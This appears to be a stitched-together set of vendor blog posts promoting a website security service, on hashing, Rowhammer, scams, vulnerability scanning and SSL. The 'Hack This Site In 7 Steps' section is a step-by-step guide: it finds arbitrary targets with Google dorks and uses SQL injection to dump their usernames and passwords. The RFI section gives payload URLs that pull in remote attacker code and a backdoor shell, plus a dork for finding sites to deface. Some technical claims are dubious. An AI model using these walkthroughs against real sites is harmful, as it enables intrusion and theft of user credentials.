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Hashing Algorithm

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Hashing refers to the transformation of a string of characters into a typically shorter fixed-length value or key that represents the original string. Hashing is apt for indexing and retrieving items in a database as it takes less time to find the item using the shorter hashed key in comparison to the time taken while using the original value. Hashing is also employed in several encryption algorithms.

The hashing algorithm is referred to as the hash function: a term probably derived from the concept that the resulting hash value can be assumed as a “mixed up” version of the represented value.

Hashing Techniques
Three basic methods of dealing with hash clash are available. They are:

  • Chaining
  • Rehashing
  • Separate chaining

Chaining
This hashing technique builds a link list of all items whose keys possess the same value. During a search, this sorted linked list is sequentially traversed from the desired key. It involves adding an additional link field to each table position. There are three types of chaining:

  • General Coalesced Hashing

This is the generalization of standard coalesced chaining method. In this method, extra positions are added to the hash table that can be employed for listing the nodes in the time of collision.

  • Standard Coalesced Hashing

This is considered to be the simplest of all chaining methods. It brings down the average number of probes for an unsuccessful search. It also executes the deletion without causing any negative impact on efficiency.

  • Varied Insertion Coalesced Hashing

This chaining type is the combination of general and standard coalesced hashing. In this method, the colliding item is inserted to the list instantly following the hash position unless the list developing from that position contains a cellar element.

Rehashing
This hashing technique deals with using a secondary hash function. The rehash function is successively applied until an empty position is identified in the table where an item can be inserted. The rehash function is again used to locate the item if the item’s hash position is found to be occupied during the search.

Separate Chaining
It is not possible to insert items more than the table size. In certain cases, space much more than required is allocated leading to space wastage. To handle these issues, a method called separate chaining is available for resolving clashes. This hashing technique maintains a separate link list for all records whose keys hash into a specific value. As part of this method, the items ending with a specific number is placed in a particular link list. The 10’s and 100’s are not taken into account. The pointer to the node points to the next node, and the pointer points to NULL value in instances when there are no more nodes. A few key benefits of this separate chaining method include:

  • The list items don’t have to be contiguous storage
  • It permits traversal of items in hash key order
  • Need not worry about filling up the table whatever be the number of items.

What is Salting?
This concept of salting typically relates to password hashing. It is basically a unique value that can be added to the end of the password to develop a different hash value. This indeed adds a layer of security to the hashing process, particularly against brute force attacks. A brute force attack is one in which a computer or botnet attempts every possible combination of numbers and letters until the password is discovered. Furthermore, when salting, the extra value is referred to as a “salt.” The concept here refers to the fact that by adding a salt to the end of a password and then hashing it, you have actually complicated the password cracking process.

How cWatch can Provide Web Protection and Act as a Shield
When talking about layers of security, you can consider going in for cWatch web security, which is a security intelligence service capable of protecting networks and web applications from a variety of threats.

cWatch runs consistent malware scans on your domains and automatically removes any malware if detected. The Content Delivery Network (CDN) service enhances site performance by delivering your web content from the data center that is closest to your visitor.

The cWatch service regularly logs events on your domains to detect new attack vectors. These logs permit the Comodo Cyber-Security Operations Center (CSOC) to dynamically create and apply firewall rules to combat the most recent threats.

The console dashboard immediately tells you about the health of your sites, including any security-related incidents and attacks. cWatch is also capable of sending threat notifications to your email, phone number or SMS.

The Comodo Web Application Firewall (WAF) provides military-grade defense against SQL injections, bot traffic, hackers, and more. It is also possible for you to develop your own custom firewall rules.

With cWatch, you can run consistent scans on a weekly basis for the top 10 OWASP threats and for known WordPress vulnerabilities.

cWatch helps identify malware, provides the methods and tools to remove it, and prevents future malware attacks

Comodo cWatch is powered by an advanced analytics-driven Security Information and Event Management (SIEM) process that can examine event data in real time providing security intelligence for early detection of breaches and threats, log management, rapid incident response times, and compliance reporting.

Rowhammer Data Hack

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Rowhammer refers to a data theft technique that has captivated and worried the cybersecurity community for years because of the fact that it combines physical and digital hacking in ways that are both unaccounted for and fascinating. Since its initial discovery, researchers have constantly refined the attack, and even expanded the range of targets it works against. Researchers have significantly increased the scope of the potential threat to include vital devices like and routers and servers—even when they comprise of components that were precisely assumed to be immune.

Rowhammer attacks are known to be a brutal data hack technique. They deal with strategically implementing a program over and over on a “row” of transistors in a computer’s memory chip. The aim here is to “hammer” that row until some electricity gets leaked into the adjacent row. This leakage can cause a bit in the target row to “flip” from one position to another, somewhat modifying the data stored in memory. An accomplished Rowhammer attacker will then be able to start exploiting these minute data changes in order to gain more system access.

Second Remote Rowhammer Exploit

Researchers at the Vrije Universiteit Amsterdam and the University of Cyprus recently discovered that sending malicious packets over LAN can activate the Rowhammer attack on systems running Ethernet network cards equipped with Remote Direct Memory Access (RDMA), which is generally used in data centers and clouds.

Since RDMA-enabled network cards permit computers in a network to exchange data (with both read and write access) in the main memory, misusing it to access host’s memory in rapid succession can activate bit flips on Dynamic random-access memory (DRAM). No software patch can completely fix the issue since Rowhammer exploits a computer hardware weakness. According to researchers, the Rowhammer threat is not just real but also has the potential to bring about real, severe damage.

Researchers have now discovered a second remote Rowhammer attack. Dubbed Throwhammer, this newly discovered technique is capable of allowing attackers to launch Rowhammer attack on the targeted systems by just sending specially crafted packets to the vulnerable network cards over the local area network. In other words, Throwhammer exploited Rowhammer through RDMA channels.

A successful Throwhammer attack will need an extremely high-speed network of at least 10Gbps because triggering a bit flip requires hundreds of thousands of memory accesses to particular DRAM locations within tens of milliseconds

Website Data Hack Prevention

The best way to prevent a data hack situation is to think like a hacker. If you were a hacker, what sort of data would you be looking for? What are the methods you would use to try to get it? There are several different types of databases and many different ways to hack data, but most hackers will either try to run a known database exploit or crack the database root password. If understand database basics and if you are comfortable with SQL statements, you can hack data.

Given below are key reasons for website hacking accompanied with measures on how to prevent them:

  • Keep software updated

An outdated software may not be equipped with specific patches that could make it vulnerable to the hacks. Make sure that your web server software, plugins, CMS, and other crucial software related to the website are all set for automatic updates. If that option is not available, make it to manually update the software.

  • Using common passwords

Compromised account details is a serious concern that could result in an easy way to hack websites. The most common mistake here is to set a password that is simple and weak or that which is too easy to crack by trying variations of passwords. Thus, it is essential to develop a password that is hard to crack and also refrain from using the same password for different websites. Additionally, make use of security tools like two-factor authentication.

  • Improperly managed data

Website data is referred to as “leaked” when it is improperly uploaded or mishandled. It is possible for data leaks to result in hacking. Make sure that employees have access only to the required data and also make use of URL removal tool to ensure Google does not index sensitive URLs in search results.

  • Check for your WordPress themes and plugins

You have to ensure that the WordPress themes and the plugins of the website are patched. Outdated plugins, themes, and WordPress version are the most common way and easiest way through which hackers gain access to your site. Your system can still be vulnerable due to deactivated themes and plugins. Make sure you delete the themes or plugins that are additional and not used any more for the website. Don’t disable these plugins or themes, rather, remove their files entirely from your server. Furthermore, when using free available versions of paid plugins and themes make sure to carefully check them before integrating them as these free versions are easy to be infected with malicious code.

  • Security policy loopholes

Specific security policies like easily giving away access to the admin, permitting users to develop weak passwords, and not enabling HTTPS on your website, can lead to negative consequences. Always implement a firm security policy in order to safeguard the website. You will also have to properly manage the user access and privileges, accurately analyze the logs, and use encrypted data.

  • Web phishing

Hackers mostly use fraudulent emails and web pages just to mislead the user to gain confidential data. Often, phishing attacks make one believe that they are dealing with a genuine webmaster. These attacks trick the user in order to steal passwords and other such confidential data. Thus, it is vital that a user refrains from sharing personal details with someone they are not familiar with.

What Do You Mean By Website Security

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Website security refers to the methodology of securing sensitive data stored online from illegal access and modification. This is achieved by implementing stringent policy measures. Security threats are common these days and hackers are rigorously finding ways to compromise the sensitive data stored by an organization to support their malicious intentions.

The sole purpose of Website security is to distinguish the following:
➢Important assets of a business
➢Legitimate users who may access sensitive data
➢Level of access (full/limited) granted to each user
➢The multiple vulnerabilities that may reside in the application
➢Data exposure, criticality and risk analysis
➢Relevant remediation steps

How Do You Make A Website Secure?

The website security is achieved only when the below stated four rules of security are addressed appropriately. These four rules remain uniform for all businesses and organization across the globe.

Confidentiality:-
The sensitive website data stored on the cloud or servers in the organization should not be exposed under any circumstances.
Integrity:-
The data received from the website should be consistent and is only to be changed by an approved user.
Availability:-
The website should remain accessible to all legitimate users within a particularized period of time depending on the request.
Nonrepudiation:-
The legitimate user cannot deny changing the data held on the Website and that the Website can prove its identity to the legitimate user.

The website security analysis runs parallel with website development. The programmers and developers who are responsible for website development should execute various strategies, post-risk analysis, mitigation, and monitoring.

Why Is Website Security Important?

Small business owners are not aware of the website security risks and consequences and tend to assume that they’re too small to be noticed by cybercriminals. As a matter of fact, cybercriminals and hackers target small or big businesses based on the vulnerabilities in the sites using automated tools.

Most small business owners fail to think about their website security. Even though they think of usual security concerns, they often don’t connect those concerns with their own business website safety. This prevents them from setting up even the most basic website security precautions that are essential to be followed.

A website builds the brand image of any business, and often acts as the first point of contact for potential customers. When security measures are not met properly, customer relationships can be damaged. Website threats come in many forms and must be dealt with appropriately – as a single security breach could completely bring destroy a business, its brand and customer loyalty. In the USA, almost all the states now have stringent data breach laws and impose fines, penalties, and other costs for not taking care of the security properly.

An infected website poses security risks to visitors while also presenting additional concerns for non-visitors. Bad actors attack small websites to leverage them as hubs to spread malware attacks on other larger websites. Sometimes these attacks include national targets and infrastructure. When such attacks are carried out, online criminals make use of the combined power of thousands of computers and sites to launch their attacks.

How can I check a website is safe?

Therefore, it is always vital for a business of any size to stay protected by regularly checking on the posture of their website security.  Most of the attacks today are carried out through phishing tactics. Therefore it is recommended to browse with caution – make it a point to double-check the URL especially those sites of banks, social networks, and any e-mail sites before logging in.  Of late, Firefox, Chrome, and Internet Explorer browsers now present a color-change on the location bar to symbolize that the website has been authenticated as genuine one. Check for HTTPS instead of the less-secure HTTP which is also a good idea.

There are online tools that will also allow site visitors and website owners alike to protect themselves. Comodo cWatch offers two such tools – its site score scanner and its cWatch Web security solution.

Website Check – A scoring tool

The cWatch Web Site Score Scanner is an automatic website scanner that will provide a sites security rating within seconds. Simply type in the URL of any site and within seconds the tool will scan the website with Comodo’s automated scanner and provide score rating based on its security posture such as whether malicious code was detected on the site or whether the website has protection layers enabled to prevent infection. This helpful tool can give great insight for a visitor and determine the level of precaution they should take when engaging with that site.

Protected Websites

Today, all websites of every size are prone to numerous online attacks. Therefore,
A website that enables protection is not only the wisest way to maintain a site, but it is also one that visitors should feel more inclined to visit because they can rest assured that the website owner cares about their safety as well.

The Comodo cWatch website security solution offers comprehensive protection with multiple layers of technology and a team of cyber experts that will handle all the aspects of your security. From complete complimentary scans and malware removal the professional team is ever-ready to support you on a 24/7 basis. For more details on Comodo cWatch which can effectively help you in checking if your website is safe visit the official page!

Website Scam

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Scam Free Online business

With more and more souls craving to go online to make that extra cash, the online scammers are getting away with what they want by preying on the hopes and inexperience of these hopeful, new, home business owners. Today, the internet is filled with a whole load of website scams which are hard to decipher at first look. Regrettably, the regular refund advice does not help when you are victimized of a scam.

For any legal business that is abiding by the laws of the land will absolutely have no problem refunding your money. Basically, it is – a simple customer service request can have the funds refunded to the account when the goods are returned or when the services are no longer required.

Cyber Threats

The Internet is no longer a safer place to venture out if you are unsure of what you are dealing with. Even the safest of approaches may land you in unrepairable damage. So how do we classify these money laundering website scams? We pin them under these categories for you to easily understand. To begin with…

Phishing Pages

Online fraudsters carry out Phishing attack which is one of the website scams. The online criminal sends out fraudulent communications to users to steal their personal details. The details may include login credentials, bank account details, and debit or credit card numbers. Simply put, the online attacker masquerades as a trusted entity trick their victims into opening a fraudulent email. The receiver is then duped into clicking a malicious link, which leads to phishing pages.

 Support Scams

As the name suggests dubious technical support, “technicians” pose as authorized personnel to rectify tech-related issues for unsuspecting computer owners. Once the permission is granted to access the system files and other sensitive areas of the system or network, they steal what is needed and leave without a trace. The support scam type of website scams have become more common in the present times.

Credit Card Stealers

Online shopping and other transactions like booking tickets, play online games, participating in online casinos, are more common these days. As e-commerce business has continued to grow, so too has the knowledge of hackers and stealers. This had paved way for credit card stealers to take advantage by implanting cookies to steal the credit card data. Spyware cookies stealers are very common these days and it is considered an emerging threat in the age of information and website scams.

Malware from websites

The malware from websites is malicious software which threatens to delete or deny access to data, once it downloads and takes over the computer. The online fraudster commands a ransom to be sent through cryptocurrency or credit card in order to restore the access to the files. With the advent of website malware scam enterprise data has become more vulnerable to cybercriminals.

How To Prevent Cyber Attacks?

Here are a few useful tips that can help you steer clear from the website scams.

  • It is better to run on the latest and updated operating system
  • Have it updated regularly
  • Don’t install software from sources that you are not sure of
  • Never give administrative privileges for anyone online and for any reason
  • Have an effective antivirus software installed
  • Last but not least, always back up your files, regularly and automatically

How cWatch Security Detect Dark website easily?

Try Comodo cWatch- The The World’s Only Free Website Security and Malware Removal Tool. Comodo cWatch – the best protection tool for all websites, web servers and web applications against the increasing sophistication of hacker attacks can guarantee the safety.  The solution is easy to use with any website or CMS platform. It doesn’t matter if your website is already under malware attack or for security purpose, it provides complete website security solution.

Comodo cWatch provides you 24/7 website surveillance, Incident Response, Security Expertise, Real-time visibility, Faster website speeds, and High website availability. Get started by checking your website now!

Hack This Site In 7 Steps

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What is Hacking?

Hacking refers to identifying weaknesses in networks or computer systems and then exploiting its weaknesses to gain access. To run a successful business, computers have now become mandatory. Having isolated computers is just not enough; they will have to be networked to simplify communication with external businesses. This indeed exposes them to the outside world and hacking. Hacking thus means using computers to execute fraudulent acts like privacy invasion, stealing personal/corporate, etc. Hence, it is essential for businesses to protect themselves against such hacking attacks.

Types of Hackers

Some of the common types of hackers are as follows:

•    Ethical hackers
These hackers are also known as white hat hackers who do not illegally break into a computer’s network. Instead, they perform a number of tests in order to check the efficiency of their company’s security systems. Ethical hacking is done without any personal or profit motive. Computer security software manufacturers are those who mostly carry out this particular attack. They are considered to be the only line of defense between a black hat hacker and a company.
•    Black hat hackers
Unlike the white hat hackers, these black hat hackers execute just the opposite in both methodology and intention. After gaining access into a network, they only focus on corrupting data for their own personal gain. They then share the information with other hackers to take advantage of the same vulnerabilities.
•    Blue hat hackers
Security companies call them to check for vulnerabilities in their system. Prior to launching a new product, companies will hire these rouge hackers for testing their system.
•    Grey Hat Hackers
These hackers possess properties of both black and white hat hackers. They generally scan the internet to observe flaws in a network. Next, they will hack into them and show the flaws to their administrator, thus seeking adequate compensation.
•    Intelligence Agencies
These hackers safeguard the national systems from foreign threats.
•    Organized Crime
This is a particular group of black hat hackers who try to find their own personal gain by exposing computer systems.
•    Hacktivists
These hackers hack to advance social causes like politics, religion, or personal beliefs. Their main aim is to embarrass the victim or to deface a website. They come under two categories: right to information and cyber terrorism. The former category refers to the concept of taking confidential information and exposing it to the public because they believe all information is free. The latter category aims at causing widespread fear by destroying a system’s operation and then making it useless in order to advance political motives.

How to Become a Hacker?

The following tips will give you a brief idea on how to become a hacker:

•    Learn UNIX
UNIX is a multi-tasking and multi-user computer operating system that has been specifically designed to provide good security to the systems.
•    Learn more than one programming language
It is important to learn other modern computer programming languages such as Perl, PHP, JAVA, and Python.
•    Learn more than one operating system
Windows operating system is considered to be one of the most commonly compromised systems, hence it is always good to learn how to hack Microsoft systems, which are closed-source systems.
•    Become familiar with different networking concepts
It is important that you thoroughly understand TCP/IP and UDP protocol in order to exploit the vulnerabilities on the world wide web.
•    Read articles about hacking
From these articles, you will gain insight about hacking and how to develop the attitude to be a hacker.
•    Learn to program in C
As the most powerful languages in computer programming, this programming language will help you divide the task in smaller pieces and these pieces can be expressed by a sequence of commands.
•    Get to about cryptography
The technology of cryptography and encryption is extremely important for internet and networking.  Cryptography is increasingly used in ATM cards, e-commerce, and computer passwords. While hacking, these encrypted codes will have to be broken, and this is called decryption.
•    Start by experimenting on your own computers
By initially experimenting on your own computers, you will be able to rectify things if you have done any mistake.

How to Hack a Website?

Website hacking can take place by:

  • Hacking via online SQL injection
  • Hacking with basic HTML coding

•    Hacking a website using online SQL injection

The following steps are followed to hack a website using SQL injection:

Step 1

Open google.com by using your system’s Firefox and type in inurl:.php?id=  You will see a list of websites with dork php. Click on any of them.

Step 2

Insert an apostrophe at the end of the url to check if the website is vulnerable. If it says, “you have an error in your SQL syntax”, then it indicates that the website is most likely to be vulnerable and hence proceed.

Step 3

Remove the apostrophe and add order by 2—in order to see how many columns the website has and perhaps the most important work you have to do here. Keep testing with 3–, 4–, 5– till you receive a message like “unknown column”.

Step 4

Delete the ‘12 order by‘ and replace with null union all select 1,2,3,4,5,6,7,8,9,10–  After the page loads, you will see a few numbers. Pick the top one. For instance, if it is 7 then replace 7 in the url with @@Version. It will show 5.092 community which is great as it means that the database version is over 5 (fundamentally meaning it can be hacked).

Step 5

Now replace @@version with group_concat(table_name) and after the last number, add from information_schema.tables where table_schema=database()–

Step 6

Replace both tables in the url with a column. You will get all the information the website has. Obtain those interesting to you, for example, username, full name etc. Replace column_name with username,0x3a,pass and replace all the information tags with users–. You will get all the usernames and passwords associated with the website. If it says ‘unknown username and blank list’, it means you have the wrong table, and you will have to go back and look for a different table. It could also mean that you can select another stuff to hack, like the product.
Here, the usernames are displayed first because it comes before the pass in the url.

Step 7

To log in you will have to google admin page finder and then click on the first link. Follow the instructions and get your own admin page finder login. Following this, login with any of the logins you have secured. Click on profile after it logs in and you will find all the details needed.

•    How to hack a website via basic HTML coding

If you possess basic HTML and JavaScript knowledge, you might just be able to access websites that are password protected. This last method will present to you easy steps on how to hack less secured websites of your choice through HTML. Remember that this method only works for websites with very low security details.

Step 1

Open the website you need to hack. In its sign-in form, enter wrong username and wrong password combination. You will find an error popup saying wrong username and password.

Step 2

Right-click on that error page> and go to view source.

Step 3

Open and view the source code. There you will see the HTML coding with JavaScript.

  • You will find something like this….<_form action=”…Login….”>
  • Before this login information copy the URL of the website in which you are.

Step 4

Carefully delete the JavaScript that validates your information on the server. This website can be successfully hacked based on how efficiently you delete the javascript code validating your account information.

Step 5

Go to file>save as>and save it anywhere on your hard disk with ext.html

Step 6

Reopen your target web i.e. ‘chan.html’ file that you earlier saved in your hard disk. You will see a few changes in the current page as compared to the original one. This indeed proves that you are on the right path.

Step 7

Provide any username and password. You have thus successfully cracked a website and entered the account.

Note: All the above steps are for educative purpose. we do not encourage or endorse any type of hacking.

Remote File Inclusion (RFI)

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Remote file inclusion (RFI) is an attack that targets vulnerabilities present in web applications that dynamically reference external scripts. The offender aims at exploiting the referencing function in an application in order to upload malware from a remote URL located in a different domain. Successful RFI attacks lead to compromised servers, information theft, and a site takeover that permits modification of content.

Remote File Inclusion Vulnerability Examples

Following are examples of RFI vulnerability:

  • A JSP page containing this line of code: ”> can be manipulated with the following request: Page1.jsp?ParamName=/WEB-INF/DB/password. Processing the request discloses the content of the password file to the perpetrator.
  • A web application contains an import statement that requests content from a URL address, as presented here: ”>. If unsanitized, the same statement can be employed for malware injection. For example: Page2.jsp?conf=https://evilsite.com/attack.js.
  • RFI attacks are mostly launched by manipulating the request parameters to refer to a remote malicious file. For example, consider the below given code:

$incfile = $_REQUEST[“file”]; include($incfile.”.php”);

Here, the very first line extracts the file parameter value from the HTTP request, while the second line employs that value to dynamically set the filename. This code can be exploited for unauthorized file uploads when suitable sanitization of the file parameter value is not available.

For example, this URL string http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_ comprises of an external reference to a backdoor file stored in a remote location (http://www.hacker.com/backdoor_shell.php.)

After getting uploaded to the application, this backdoor can be employed for hijacking the basic server or gaining access to the application database.

After getting uploaded to the application, this backdoor can be employed for hijacking the basic server or gaining access to the application database.

How does RFI Work?

To include a remote file, you will have to add a string with the URL of the file to an Include function of the respective language. The web server of the website under attack then makes a request to the remote file, fetches its contents and adds it on the web page serving the content. It then gets processed by the parser of the language.

Consider a developer who wishes to include a local file based on the GET parameter page. They have different files such as main.php, contact.php, and about.php, all of which provide different functionalities to the website. Each file can be called employing the following request:

https://example.com/index.php?page=contact.php

While the developer assumes that only files inside that folder are included, it could also be possible for an attacker to include files from another directory (LFI) or even from a completely different web server (RFI). Without a whitelist, the attacker will be able to change the file path to the programming language’s Include function. The attacker will be able to include a local file, but in a typical attack, the path can be changed to a file that exists on a server they control. In this way, malicious code can be easily written inside a file, without the need to poison logs or inject code inside the web server.

The impact of an exploited remote file inclusion vulnerability may differ based on the execution permissions of the web server user. Any included source code can be executed by the web server along with the privileges of the existing web server user, allowing the execution of arbitrary code. Full system compromise is also possible in instances when the web server user has administrative privileges.

Defacing a Website with RFI

RFI is considered to be a common vulnerability that permits the attacker to upload a malicious code or file on a server or website. All website hacking attacks are not exactly about SQL injection. By using RFI, you will be able to literally deface the websites, attain access to the server and practically play anything with the server. To hack a website or server with RFI, you will first need to find out an RFI vulnerable website. It is an established fact that finding a vulnerability is the very first step to hack a website or server. Hence, get started by:

  • Going to Google and searching for the following query. inurl: “index.php?page=home”
  • At the place of home, try some other pages like gallery, products etc.
  • If you are already aware of an RFI vulnerable website, you need not find it via Google.

If it is a genuinely vulnerable website, then there could be three things that can happen:

  • You will be able to notice that the url consisting of “page=home” had no extension. If you include an extension in the URL, the site may actually give an error like ‘failure to include maliciousScript.txt’. This can take place as the site may be automatically adding the .txt extension to the pages stored in a server.
  • If it automatically adds something in the lines of .php, then we have to use a null byte ‘%00’ to avoid error.
  • Successful execution.

RFI Prevention and Mitigation

To prevent RFI vulnerability exploitation, ensure that you disable the remote inclusion feature in your programming languages’ configuration, especially if you do not need it. In PHP, you can set allow_url_include to ‘0’. You should also verify user input before passing it to an Include function. The most preferred way to do this is with a whitelist of permitted files.

You can minimize the risk of RFI attacks via proper input validation and sanitization. However, keep in mind that it is important to avoid the misconception that all user inputs can be entirely sanitized. Consequently, sanitization should only be considered as a supplement to a genuine security solution. It is always better to sanitize user-supplied/controlled inputs to the best of your capability. These inputs include:

  • URL parameters
  • Cookie values
  • GET/POST parameters
  • HTTP header values

During the sanitization process, input fields will have to be checked against a whitelist instead of a blacklist. Blacklist validation is generally considered to be a weak solution because attackers can choose to supply input in a different format, such as hexadecimal or encoded formats. It is also good to apply output validation mechanisms on the server end. Client-side validation functions, holding the benefit of reducing processing overhead, are also considered to be vulnerable to attacks by proxy tools.

As a final tip, always consider restricting the execution of permission for the upload directories and make sure to maintain a whitelist of allowable file types besides restricting uploaded file sizes.

Vulnerability Assessment

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What is a Vulnerability Assessment?

Vulnerability assessment refers to a testing process used for detecting and assigning severity levels to a number of security defects within a specific time period. This assessment process could involve manual and automated techniques with different degrees of consistency and an emphasis on comprehensive coverage. With the help of a risk-based approach, vulnerability assessments could also be capable of targeting different layers of technology, the most common being network-, host-, and application-layer assessments.

Difference between Web Vulnerability Assessment and Network Vulnerability Assessment
With the on-going growth in technology, there is also a simultaneous spread of different hacking attacks that are becoming more and more sophisticated. We can consider this to be a warning sign for organizations worried about their security. These organizations should thus apply the best practices with regards to security for their web applications in order to safeguard their brand and reputation and also prevent data loss and even financial loss.

When talking about the designing of a web application, besides just focussing on security an organization should also consistently assess the security levels of their web applications by employing two key methods:

  • Web vulnerability assessment
  • Web application penetration testing

With web vulnerability assessments, you will be able to automatically determine deficiencies by crawling the website in order to discover potential vulnerabilities and then report these results. Several open source and commercial vulnerability scanning tools are available to help execute this task. A comprehensive vulnerability assessment has most of the same processes like those found in a penetration test, however, there is indeed a huge difference in the results they deliver.

Web application penetration testing is performed in a more rigorous manner by employing both automated and manual methods such as interactive tools and scripts and also by following an established approach. In a penetration test, vulnerabilities are obviously detected and an attempt is also made to exploit them.

A penetration test involves the process of reconnaissance, mapping, discovery and the consequent exploitation of vulnerabilities. As discussed above, vulnerability assessments and penetration tests almost follow the same process because they both begin with:

  • Reconnaissance

This phase involves collecting information about the web application via indirect and direct means, such as examining web search results, DNS records, and other available information.

  • Mapping

This phase deals with downloading the website and detecting deficiencies present in the web server and software configuration.

  • Discovery

This phase discovers vulnerabilities like SQL Injection, Cross-Site Scripting (XSS), information leakage, and Cross-Site Request Forgery (CSRF). A vulnerability assessment is complete at this stage, but the penetration test takes the process to one more phase.

  • Exploitation

In this phase, attempts are made to exploit the detected vulnerabilities in order to simulate real-world attacks.

Dangerous Vulnerabilities

Given below is a list of the most dangerous vulnerabilities one could encounter:

  • Remote File Inclusion

A remote file inclusion takes place when a file from a remote server gets inserted into a web page. This can be executed on purpose in order to display content on a website from a remote website. However, this attack can occur accidentally due to a misconfiguration of the respective programming language or during the execution of an attack.

  • ASP Code Injection

This vulnerability permits an attacker to inject custom code into the server side scripting engine. This attack takes place when an attacker can control part or all of an input string that is fed into an eval() statement, which ends in code execution.

  • SQL Injection

This attack tries to use application code to corrupt or access database content. This is executed through a Web request where the Web user input is wrongly filtered for string literal escape characters that can be embedded in your SQL statements or not properly sanitized or typed, and thus getting suddenly interpreted and executed as SQL.

  • Cross Site Scripting (XSS)

In an XSS attack, malicious HTML or client-side scripts are injected into Web pages viewed by other users, thus bypassing access controls that browsers use in order to ensure that requests are from the same domain. An attacker thus gains access to session cookies, confidential page content, and different client-side objects via XSS attacks.

  • Full Path Disclosure (FPD)

This vulnerability allows the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Some vulnerabilities, such as employing the load_file() (inside a SQL Injection) query in order to view the page source, will need the attacker to have the full path to the file they want to view.

  • Directory Traversal

This is a type of HTTP exploit employed by attackers to gain unauthorized access to restricted files and directories. Also referred to as path traversal, directory traversal attacks use web server software to exploit insufficient security mechanisms and access files and directories stored outside of the web root folder.

Vulnerability Scanning Tools

  • Comodo cWatch Web
  • Acunetix WVS
  • AppSpider
  • Grabber
  • Nikto

Some of the commonly used vulnerability assessment tools include:

  • Comodo cWatch Web

This web security tool is a Managed Security Service apt for websites and applications. One of its key features includes vulnerability scanning for online merchants, businesses, and several other service providers dealing with credit cards online. It provides a simple and automated way to stay compliant with the Payment Card Industry Data Security Standard (PCI DSS). The Comodo Security Information and Event Management (SIEM) processes vulnerability information from web, application and network vulnerability scanners. The Comodo Web Application Firewall (WAF) that comes along with this vulnerability assessmenttool is also capable of eliminating application vulnerabilities and protecting web applications and websites against advanced attacks like SQL Injection, Cross-Site Scripting, and Denial-of-Service (DDoS). This WAF is thus incorporated with vulnerability scanning, malware scanning, and automatic virtual patching and hardening engines.

  • Acunetix WVS

This vulnerability assessment scanner is available with SQL injection and XSS black box scanning technology. It is capable of automatically crawling websites and executing black box and grey box hacking techniques which detect dangerous vulnerabilities that can compromise your website and sensitive data.

  • AppSpider

This vulnerability scanner helps in collecting all the information required for testing all the apps so that you are not left with gaping application risks. AppSpider allows you to scan all the newest apps and prepares you for whatever comes next.

  • Grabber

This web application scanner detects specific vulnerabilities in your website. This simple software has been designed for scanning small websites like forums, personals, etc.

  •  Nikto

This is an Open Source (GPL) web server scanner that carries out comprehensive tests against web servers for multiple items and also checks for outdated versions of servers. It is also capable of checking for server configuration items such as the existence of multiple index files and HTTP server options.

Does SSL Security Mean a Secure Website?

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Okay so your ready go live with your new website and you’ve gone through your checklist:

That last item on your checklist, security, is usually one that is given the least importance and yet when it is not addressed it can trump all others. And when it is addressed, for many it usually means the purchase and implementation of an SSL certificate. A favorite and useful security mechanism, SSL certificates offer security to protect the user and business information, yet it still leaves us with the ultimate question:

Do SSL certificates completely PROTECT websites?

At its core, SSL Certificates are aimed to secure the communication between the client (browser) and server. Any information shared in between will be encrypted with the SSL Certificate so that no one nor robot can breach, temper or modify it – resulting that cute green padlock on the browser symbolizing encrypted protection.

So that green padlock in the search bar means your website is SECURE, right?

Unfortunately, if not properly maintained websites can have many vulnerabilities through the very platforms that make them easy for you to create (WordPress etc). Any security risks within your web application such as Cross-Site-Scripting, Cross-Site-Request-Forgery, SQL-Injection, insecure Session-IDs, DDoS attacks, etc will mostly still work, even if the connection is encrypted with the SSL certificate. SSL Certificates alone can’t protect you from bad code, malware injections, spam and other common malicious attacks that are present on the web application and/or servers themselves.

No Worries I’m HTTPS secure – isn’t that enough?

HTTPS (and SSL/TLS) provide what is called “encryption in transit”. This means that the data and communication between a browser and website server (using a secure protocol) are in an encrypted format, so if these packets of data are intercepted, they cannot be read or tampered with.

However, when the browser receives the data it decrypts it, and when the server receives your data, it is also decrypted. This decryption is then stored so browser or server can remember the data in the future or even used by other integrations, such as CRMs. SSL and TLS don’t provide us with encryption at rest – such as when the data is stored on the website’s server. This means that if a hacker can gain access to the server, they can then read all the decrypted data you have submitted.

Most hacks and data breaches come as a result of hackers gaining access to these unencrypted databases, so while HTTPS technologies mean the data gets to the databases securely, it isn’t then being stored securely.

Saying that HTTPS is secure isn’t false, but it is also not entirely true. It is one piece in a cybersecurity jigsaw puzzle that on the face of it is one of the easiest security features to identify – especially from a web-crawler point of view.

Layered Security Approach is the Answer

Great, so you have SSL and HTTPS and question whether you should get rid of it? What is complete website protection if not with SSL?

Well don’t get rid of SSL altogether – compliment it. SSL certificates are an important part of your website security but do not provide complete protection. Protecting your website is like any other comprehensive security protocol. The more layers you have the better. Consider how you protect your physical home – just having locks on the doors and windows does not completely protect you. You choose to install cameras to have visibility into any possible threats, alarms/sirens providing notifications of said threats, and many even rely on their trusty dogs to remain vigilant and thwart any intruders. Protecting your website is no different.

Fortunately for us all, it is now as easy to protect your website as it was to design, develop and launch it. cWatch Web security is a fully managed protection service that encompasses all layers of website protection – yes, even an included SSL certificate so you don’t have to worry about anything security related. For .25 cents a day you can have the security technology used by larger enterprise websites and cyber security experts live on call 24/7 protecting your website.

Here are some of the features offered with the cWatch Web service that completes the protection package:

Malware Monitoring and Remediation service that provides comprehensive scanning tools in order to uncover AND repair any hidden malware lingering on your site.

Content Delivery Network (CDN) that will not on provide protection against traffic spikes but also improve your site upload speeds by providing global servers to shorten the distance between your site content and visitors.

Web Application Firewall (WAF) operating right in the cloud within the CDN that acts like your “watch dog” – detecting, filtering and fending off any malicious attempts.

Security Information and Event Management (SIEM) which is the brain of its layered approach – this provides continuous real time monitoring, forensics and incident management of all activity to determine the good from the bad.

Why not check out cWatch Web on us with a 30-day trial. Add all the needed protection and have peace of mind that something and someone is your watch dog against all online bad actors.

What is Network Firewall Security and how works

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Network Firewall: Definition

A network firewall shields a computer network from unauthorized access. It could take the form of a software program, a hardware device, or a combination of the two.

Network firewalls are responsible for protecting an internal computer network against malicious access from the outside, such as vulnerable open network ports or malware-infested websites. Network firewalls can be found in schools, businesses, intranets, and homes. It is also possible to configure a network firewall to limit the access of internal users to outside connections, for instance, in the case of workplace locks or parental controls.

Forms of Network Firewalls

Network administrators are provided with a wide range of approaches when choosing and configuring protection for the networks they oversee. The different types of firewalls include:

  • Next-generation firewall (NGFW): Employs a multilayered approach to integrate enterprise firewall capabilities with an intrusion prevention system (IPS) and application control.
